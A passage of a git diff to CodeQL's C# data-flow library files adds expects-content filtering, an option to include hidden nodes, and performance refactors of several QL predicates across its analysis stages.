@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl3.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl3.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl3.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl3.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl4.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl4.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl4.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl4.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
